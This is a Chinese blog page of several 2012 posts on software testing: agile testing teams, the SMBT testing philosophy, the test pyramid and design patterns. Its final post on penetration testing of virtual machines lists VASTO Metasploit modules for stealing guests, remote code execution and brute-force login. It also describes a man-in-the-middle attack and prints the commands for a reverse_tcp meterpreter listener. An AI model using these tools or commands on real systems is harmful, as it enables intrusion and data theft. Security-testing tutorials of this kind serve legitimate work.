    看完设计图和源码,原理已经很清楚了,这个模式应用很灵活,猴交给你了,看你怎么玩它!哈哈哈哈。。。。
1.3.1.5 女娲举绳造万物
    女娲举绳造物的故事很适合在这里举例子,女娲的绳子按照阴阳划分,产品则按人、兽划分。将抽象工厂模式用于女娲造万物的模拟系统设计中。系统设计图如下:

posted @ 2012-12-21 16:26 顺其自然EVO 阅读(680) | 评论 (0)编辑 收藏

敏捷测试的团队构成

  各自分离的功能小组会让敏捷团队更困难。持续的交流至关重要。团队成员需要互相亲密地工作,不管工作是通过虚拟环境还是在同一个地点完成。敏捷测试专家Lisa和Janet分享了敏捷测试团队的组织经验。

  独立的质量保证团队

  许多组织,不管大还是小,为了得到关于产品质量的诚实的观点,认为拥有独立的质量保证团队或测试团队是很重要的。经常有人问我们:“在整体团队运作方式中有测试组织的位置吗?”以及“如果有,是什么角色?”希望保持质量保证团队与开发团队分离的原因有:

  ● 拥有独立的检查和审计角色很重要。

  ● 独立的质量保证团队可以对产品的质量提出没有偏见的外部观察的观点。

  ● 如果测试人员与开发人员过于亲密,将会像开发人员那样思考,丢失客户观点。

  ● 如果测试人员和开发人员向同一个人汇报,可能会有风险使得交付任何代码的优先级大于交付已测试代码的优先级。

   团队经常混淆“独立的”和“分离的”。如果汇报结构、经费和过程保持在离散的功能区域,程序员和测试人员间的分离是必然的。这可能导致摩擦、竞争和“我 们VS他们”的态度。时间浪费在重复的会议上,程序员和测试人员没有共同的目标,更不存在信息共享。虽然有许多原因需要质量保证经理和独立的测试团队。但 是,我们建议改变原因和结构。与其保持测试人员作为对立的团队分离,在编码完成后测试应用,不如考虑将团队作为测试人员团体。提供一个学习性组织来帮助测试人员职业发展和分享想法及互相帮助。如果质量保证经理成为组织中的实践领导,人们将可以传授给测试人员技能使其变得更强并更好地适应不断变化的环境。

  我们不相信将测试人员整合到项目团队会妨碍测试人员正常的工作。实际上,敏捷团队的测试人员感觉其客户代表的角色很明显,并且认为可以在质量思想方面影响团队的其他成员。

  把测试人员整合到敏捷项目

   敏捷开发中的整体团队运作方式已经促使很多采用敏捷开发的组织解散独立的质量保证团队,将测试人员与项目组一起工作。这听起来很好,但是有些组织发现事 与愿违。不止一个组织已经导致大部分(如果不是)所有测试人员因为发觉他们在敏捷开发团队中不知道应该做什么而离职。培训开发人员结对编程、测试驱动开发 和其他的敏捷实践,但是测试人员通常得不到任何培训。许多组织没有意识到测试人员也需要培训结对测试、处理不完整和变化的需求、自动化和需要的所有其他新 技术。测试人员接受培训和辅导来获取技能并认识到这些将对于成功是很重要的,例如如何与客户一起编写面向业务的测试。程序员也可能需要辅导和理解面向业务 测试的重要性以及整体团队运作方式来编写和自动化测试

  Janet曾帮助过整合几个独立的测试团队到敏捷项目。她发现大部分测试人员需要六个月的时间开始对使用新的过程感到有信心。

   程序员和测试人员的结对只可能促进关于产品质量的交流。如果应用的行为不能在开发环境中重现,开发人员通常需要在测试人员的机器上观察应用的行为。测试 人员有时与开发人员一起坐下重现问题会比他们尝试在缺陷报告中记录步骤更容易和快速。这种交互减少了用于非口头交流的时间。

  测试人员关于这个话题的评价包含如下几条:

  ● “更接近产品的开发让我成为更出色的测试人员。”

  ● “与开发人员一起吃午饭可以构建更优秀的团队,这个团队希望并且喜欢一起工作。”

  整合的项目团队的一个重要优势是只有一个预算和一个进度安排。如果所有的功能没有完成,不会减少“测试”时间。如果没有时间测试新的特性,则首先没有时间来开发它。正如贯穿本书强调的那样,整体团队对质量负责是非常强大的。


 Lisa分享了自己的故事:

  我曾经加入过极限编程团队,只依赖于单元级的测试,以前从来没有过测试人员的角色。客户有时对结果不满意,所以他们决定聘用一名测试人员。当我 参加每日站立会议时,他们不允许我说测试任务。用户故事评估中不包含测试时间,测试任务也不是迭代计划的一部分。只要编码任务完成,用户故事就被标记为 “完成”。

  团队超过发布日期后,计划在三个两周迭代后发布,我建议团队教练尝试整体团队运作的方式来测试。测试任务与编码任务一起进行。在测试任务没有完 成之前,不能认为用户故事已经结束。程序员承担测试任务,我完全参与到每日站立会议中。团队此后再也没有错过他们设定的发布计划。

  测试人员需要是开发团队的正式成员,测试任务需要和其他任务一样的重视。并且,用整体团队运作的方式来测试可以显著帮助确保测试任务在每个迭代 及发布的末期完成。确保用回顾总结来评估测试人员需要与新敏捷团队整合什么,及需要获取什么技能。例如,测试人员可能需要程序员或某种特定类型的测试专家 的更多支持。

  组织转变到敏捷开发的良好规划会使这种成功的过程截然不同。请质量保证和开发经理指定出他们在新的敏捷组织中的角色。请他们计划如何帮助测试人 员和开发人员在新的敏捷团队中高效地工作。提供团队敏捷实践培训。确保所有的团队可以相互交流。提供让每个团队不断学习的框架,团队就会找到成功的道路。

  实例研究:转变质量保证和项目团队

  Christophe Louvion是知名网络公司的首席技术官和敏捷教练。他告诉我们帮助公司使用敏捷开发的经历。作为敏捷教练,他希望真正地使用敏捷开发,避免常见的“小型瀑布”的错误,即开发人员花一周编码,测试人员下一周测试。

  他的公司包括内部的IT部门当时有120名工程师。在转变到Scrum前,公司的组织正常工作。因为有质量保证和工程总监,基于产品的团队很难 得到管理层的接受。这些团队的经理用下面的问题与之斗争:“我的工作现在是什么?”Christophe将这个问题转给经理们并说:“你们回答我。”他同 工程和质量保证经理们一起工作来帮助他们明白在新的敏捷环境中的工作应该是什么。只有当他们用同样的声音说话时,他们才能融入团队并解释他们的发现。

  在新的敏捷组织中,经理们处理特定领域知识、资源、优先级和提出的问题。工程和质量保证经理们每天联合工作来解决这些类型的问题。 Christophe和两个经理研究测试人员在两周迭代的第一个星期没有工作效率的原因并指导他们如何帮助设计。对于程序员来说,问题是“我如何做才能让 代码容易测试?”因为工程师们习惯于阶段周期的工作,没有过在持续集成方面的培训,需要测试驱动设计、持续集成和实践等方面的许多培训。经理保证了他们获 得这些培训。

  引入了配置管理(CM)专家来帮助构建过程。在公司中,CM团队与工程和质量保证团队是分离的,提供构建过程中所有方面的框架,包括数据库对象、硬件和配置。一旦实现了构建过程,集成编码和测试将会更加容易

  管理层首先确定他们的角色,然后把所有东西都放入源码控制的构建过程框架,是成功转变到敏捷的关键。另一个成功因素是所有的团队——项目、质量 保证、配置管理、网络和系统管理小组及产品团队——都有回顾总结,参与每日站立会议和计划活动。这样,当出现测试问题时,每个可以帮忙的人都可以解决。如 Christophe所说,他们的方法引入了每一个人并且突出了测试。


posted @ 2012-12-21 11:56 顺其自然EVO 阅读(209) | 评论 (0)编辑 收藏

软件测试价值观-SMBT新理念

 近年来有不少软件测试同行不少有些困惑-软件测试人员的价值在哪里?我们怎么才能做好软件测试?怎么才能让自己的价值在团队中得到最佳的体现?在这里SMBT理念会给你答案,你所有的困惑将会迎刃而解。

  一、SMBT是什么?

  SMBT是Shortest time、Most bug、Best bug、Track bug这几个单词的缩写,其含义就是“测试人员要在最短的时间内发现最多最有价值的Bug,并将Bug跟踪到底”,这就是我们测试人员追求的最高价值。其核心包括:一个宗旨、四个关键域

附:SMBT图示

  二、SMBT宗旨

  以产品成败为出发点,站在整个项目团队的立场上思考问题、解决问题,而不是单一的从测试团队或者个人为出发点。

   在这点我想说明的是:在一些企业里面的某些产品团队因为或多或少的原因导致产品失败,最后影响整个产品团队的考核,这个时候必然会有一部分测试人员跳出 来说我们测试做的挺好的,产品失败和我们没什么关系,为什么给我们也考核得那么差。这时我想对那些测试人员或者主管测试的负责人说,你们真的错了,你们是 为整个产品团队服务的,虽然产品失败的因素可能会很多、可能和你没直接关系,试想一下难道真的和你一点关系都没有么?如果现在用SMBT的宗旨来看待这个 问题,你势必会找到你错在了哪里!我们不能有本位主义的思想来禁锢自己,我们一切要为整个产品团队出发,只有这样你才能在整个产品研发过程中充分发挥你的 才能为整个产品服务,而不是单单的测试活动,因为单单的测试活动是远远不够的,这是传统的测试理念和思维给我们带来的弊端,也是SMBT产生的根本。

  三、SMBT关键域

  1、Shortest time:最短时间、尽早、尽快

  一方面Bug无限,时间有限,这个道理大家都知道,我们在测试工作中测试的时间是有限的,我们的每一项测试的时间都不可能很充足,随着互联网行 业的竞争越来越大,产品更新换代的周期日益缩小,企业稍微慢一步,整个产品就完全没有竞争优势,势必会被竞争对手抢占先机,即使你有创新的想法,但没有最 快的速度上市,也难得商机。不管是互联网行业还是其他行业,现在都是快鱼吃慢鱼的时代,在这种环境下,对我们的研发团队、我们的测试人员提出更高的要求, 那就是快-快-快,一点都不能慢。测试时间长了即使你产品的质量再好,因为时间关系错失商机、流失用户,我们所有的付出都将白费。

  另一方面从研发模式来讲,现在很多企业都比较推崇敏捷研 发模式,这也是追求快速响应的一个途径,然而对于测试来讲,我们一定要尽早的发现Bug,让开发人员尽早的修改,或者让产品人员调整需求,而不是到了产品 最后某些本应该前期发现的Bug结果到了产品快上线的时候才发现,一旦这个时间出现比较严重的Bug,这将会对整个产品的研发进度造成严重的影响,同时因 为这个Bug的修复势必会对本来感觉已经稳定的系统带来重大的质量干扰,因为修复Bug在很大程度上必然会带来新的Bug,至于修复Bug的难度那就更不 用说了。特别是在产品研发的后期发现需求流程上的问题,这将是灾难性的后果!

 2、Most bug:最多Bug

  量变到质变是事物的变化规律,测试也如此,只有Bug的量上去了,产品的质量才能有所改观,如果Bug在数量上上不去,这对测试活动有信心谈何 容易,一旦遇到这种情况测试经理们就头痛起来了,因为这必定是一个危险的信号,我们的信心将会荡然无存,除非系统质量足够的好,测试手段足够的高超,否则 我们将会面临产品上市后的最大危机。

  3、Best bug:最有价值Bug

  之前谈到我们尽早发现Bug、发现最多的Bug,难道这样就可以了么,很显然特别的片面,进一步的说我们还要发现有价值的Bug。那么什么样的 Bug才算有价值呢?直白一点就是最影响系统使用、对系统功能模块有严重影响或者破坏作用的Bug,最能决定研发周期的Bug,比如说如果事先能把需求类 的Bug在需求阶段提出来解决而不是等研发末期提出来,还有就是影响系统架构的Bug以及一些隐藏很深修复难度及波及面广的Bug,所有这些都是从量变到 质变的过程。

  4、Track bug:跟踪Bug

  经常会遇到一些项目在项目末期了才去关注以前提交的Bug,测试人员尽管很早就提出了很多严重的Bug,没有引起开发人员的注意或者测试人员跟 进不给力,在这个时候需求类Bug提交的早、也提交的多、并且也很有价值,甚至有些直到产品发布上线运营了有客户投诉或者在运营过程中再次暴露的时候才引 起关注,此类情况的发生直接说明前期所做的测试工作算是白做了,根本没有对产品质量做保证和提升嘛。也就是说我们测试人员缺乏明显的跟进,只发现Bug而 不跟进Bug修改这是测试人员最大的悲哀,反之如果测试人员做到了这点也是测试人员的最大价值体现,我们找到Bug不算什么,关键还是要让Bug得到解 决,这样才能对整个产品负责,也只有这样测试人员的价值才能得到真正的发挥和体现。

  四、SMBT运用

  1、领会SMBT的宗旨,建立良好的心态,做一个有责任心的测试人员,明确自己的工作不仅仅是测试工作,而是为整个产品团队服务的工作,当然这得根据自己的精力和能力来限定范围,不能什么都抓什么都做。

  2、如何实现Shortest time

    1)尽早介入到产品研发活动中,特别是产品需求阶段是很容易被忽略的,有问题尽早发现;

    2)对测试活动及相关的安排进行合理的部署,测试策略、测试方法及测试工具的选择对测试效率的影响至关重要。

  3、如何实现Most bug、Best bug

    1)加强测试设计的能力,提升测试技术基础势在必行,剖析被测对象的内在,而不仅是表象。

    2)站在产品用户的立场思考问题做好测试设计、深入挖掘用户行为和心理、深入理解系统运行机制及实现原理,这些都做到了,还做不到Most bug、Best bug真的很难。

    3)不能单一的追求Most bug或Best bug,要两者兼顾,要在Most的基础上Best。

  4、如何实现Track bug

    1)以主人翁的心态对待每一个Bug,我们不仅负责测试出Bug,还要将这个Bug的修改情况负责跟踪到底,直到最终解决不再复现为此,也只有这样我们的测试工作才算完成。另外还要以积极的心态高效的跟进,不能有半点耽误和延迟。

    2)不光要配合Bug修改,更重要的是要起到督促的作用,测试人员的行为要为整个项目负责。

  领会SMBT宗旨,将SMBT四个关键域融会贯通、运用自如,此乃测试最高境界也!

  PS:坦诚的讲,鄙人自知对SMBT的理解或许存在一些不完善的地方,在此也算是起到抛砖引玉的作用吧。希望测试界的广大同仁及读者能够对 SMBT进行完美的补充,让SMBT更加完善,理念更加深入透彻。也希望测试工作者能够灵活运用到企业中,更好的改进测试工作,提升测试价值,保持测试行 业的绝对竞争优势!

  本文转载自:http://blog.csdn.net/vincetest/article/details/8330303

posted @ 2012-12-21 11:51 顺其自然EVO 阅读(280) | 评论 (0)编辑 收藏

跟屌丝大哥学习设计模式--工厂方法模式

     摘要: 东汉《风俗通》记录了一则神话故事:“开天辟辟,未有人民,女娲搏,黄土作人……”,讲述的内容就是大家非常熟悉的女娲造人的故事。开天辟地之初,大地上并没有生物,只有苍茫大地,纯粹而洁净的自然环境,寂静而又寂寞,于是女娲决定创造一个新物种(即人类)来增加世界的繁荣,怎么制造呢?      别忘了女娲是神仙,...  阅读全文

posted @ 2012-12-19 16:25 顺其自然EVO 阅读(592) | 评论 (0)编辑 收藏

软件测试金字塔

软件测试金字塔

 在敏捷方法中,持续集成是其基石,持续集成的核心是自动化测试。下面这篇关于测试金字塔的文章,来自大师Martin Fowler。

  测试金字塔的概念来自Mike Cohn,在他的书Succeeding With Agile中有详细描述:测试金字塔最底层是单元测试,然后是业务逻辑测试,最后是端到端的测试(GUI或CLI)。

  在我的职业生涯中,很多次听到过自动化测试,自动化测试意味着端到端的通过界面完成的测试。完成这种自动化测试的工具一般是录制然后回放,初始使用很容易,不需要任何编码技能。

  不过你使用一段时间后就会遇到很多麻烦,GUI的自动化测试运行速度都很慢导致版本发布速度下降,同时完成自动化测试的软件,一般都是商业软件需要license因此只能在特定的机器上部署,且不容易通过脚本集成。

  GUI测试用例还很脆弱,如对系统的一些修正可能导致很多用例的失败,这时候你需要重新录制。你可以放弃录制的方法来解决这个问题,通过写GUI测试代码,但是这样效率非常低。就算你已经很精通了GUI测试代码的编写,端到端的GUI测试用例也很容易出现不可预期结果的问题-一些用例成功一些用例失败,因此,基于GUI的自动化测试是脆弱、耗时(包括用例维护和执行)的。所以测试金字塔要表达的是:底层应当有更多的单元测试和接口测试和逻辑测试,GUI测试用例能覆盖到主业务流程即可。

  我们注意到测试金字塔中间这一层:服务。业务服务的测试,我称其为皮下测试,因为这一层就在用户界面GUI下面。服务测试可以完成很多端到端的功能测试而不需要像GUI自动化测试那样需要使用复杂的框架。如一个Web应用,你可能使用自己写的脚本测试端到端的逻辑,而GUI自动化你可能会使用Selenium这个工具。

  测试金字塔发源与敏捷测试实践,使用测试金字塔原则很容易将你项目中的测试用例达到平衡的状态。在很多项目中都混淆了“端到端测试”,“UI测试”,“面向用户的测试”的概念,其实他们都是测试的不同角度。例如你有一个javascript开发的应用,那UI部分就需要用javascript的单元测试工具Jasmine完成大部分的UI功能测试;复杂的业务逻辑需要使用面向用户的表单(form)来测试,而不仅仅是底层的单元测试。

  因此我通常将上层的测试称为“测试的第二防线”,如果你的一个上层测试用例执行失败,表现出来不仅仅是这个功能有问题,还说明你遗漏了这个地方的单元测试,因此你在修复功能之后,还需要补充相关的单元测试用例。

posted @ 2012-12-19 12:31 顺其自然EVO 阅读(450) | 评论 (0)编辑 收藏

针对虚拟机的渗透测试

如今虚拟化在各个企业中应用的越来越多,且火热的云计算也依托于此技术。虚拟化技术确实能够使物理资源的利用更加灵活和便捷,那么虚拟机的安全性如何?相比传统架构,是否像传说中的一样安全?

  什么是虚拟化

  虚拟化是指计算机元件在虚拟的基础上而不是真实的基础上运行。虚拟化技术可以扩大硬件的容量,简化软件的重新配置过程。CPU的虚拟化技术可以单CPU模拟多CPU并行,允许一个平台同时运行多个操作系统,并且应用程序都可以在相互独立的空间内运行而互不影响,从而显著提高计算机的工作效率。我们先来看看虚拟机的层次结构图。

  虚拟机完全独立于其底层物理硬件。 例如,你可以为虚拟机配置与底层硬件上存在的物理组件完全不同的虚拟组件(例如,CPU、网卡、SCSI 控制器)。 同一物理服务器上的各个虚拟机甚至可以运行不同类型的操作系统(WindowsLinux 等)

  针对虚拟机的渗透测试

  VASTO是一个专用的虚拟机渗透测试工具,支持VMware, Oracle和Xen,可以与神器Metasploit有很好的结合。使用前需要先解压,然后复制metasploit文件夹下中

  VASTO的主要模块如下,功能还是比较强大的

  abiquo_guest_stealer – Abiquo guest stealer
  abiquo_poison – Abiquo poison
  eucalyptus_bouncer – Eucalyptus Bouncer
  eucalyptus_poison – Eucalyptus Poison
  oraclevm_oravma_fileread – Oracle VM agent remote code execution
  vmware_autopwner – VMautopwn
  vmware_guest_stealer – VMware Guest Stealer
  vmware_login – VMware Login check scanner
  vmware_session_rider – VMware Session Rider
  vmware_studio_upload – VMware Studio<2.0.0.946-172280 Remote Code Execution
  vmware_updatemanager_traversal – Update manager path traversal
  vmware_version – VMware products fingerprintervmware_vilurker – VIlurker VIclient attack
  vmware_webaccess_portscan – VMware Web Access Relay Port Scanner
  xen_login – Xen Login Check Scanner
  oracle_oravma_exec – Oracle VM agent remote code execution
  vmware_sfcbd_exec - VMware VAMI-sfcbd remote code exec
  vmware_tomcat_killer – VMware tomcat killer
  Versionsscanner Modul:

  用于判断VM的版本等信息



 Login Scanner Modul:

  这个模块可以使用字典尝试暴力登录虚拟机

  vilurker module

  这个模块原理即利用ettercap等进行中间人攻击,欺骗成功后,当被攻击者(client)访问server时会弹出窗体,若点击即反弹一个meterpreter。

  先multi/handler监听

  msf > use multi/handler
  msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
  msf exploit(handler) > set LHOST <Local Host IP here>
  msf exploit(handler) > exploit

  欺骗过程如下

  返回shell(meterpreter)

posted @ 2012-12-19 12:14 顺其自然EVO 阅读(547) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 276 277 278 279 280 281 282 283 284 下一页 Last 
<2025年4月>
303112345
6789101112
13141516171819
20212223242526
27282930123
45678910

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜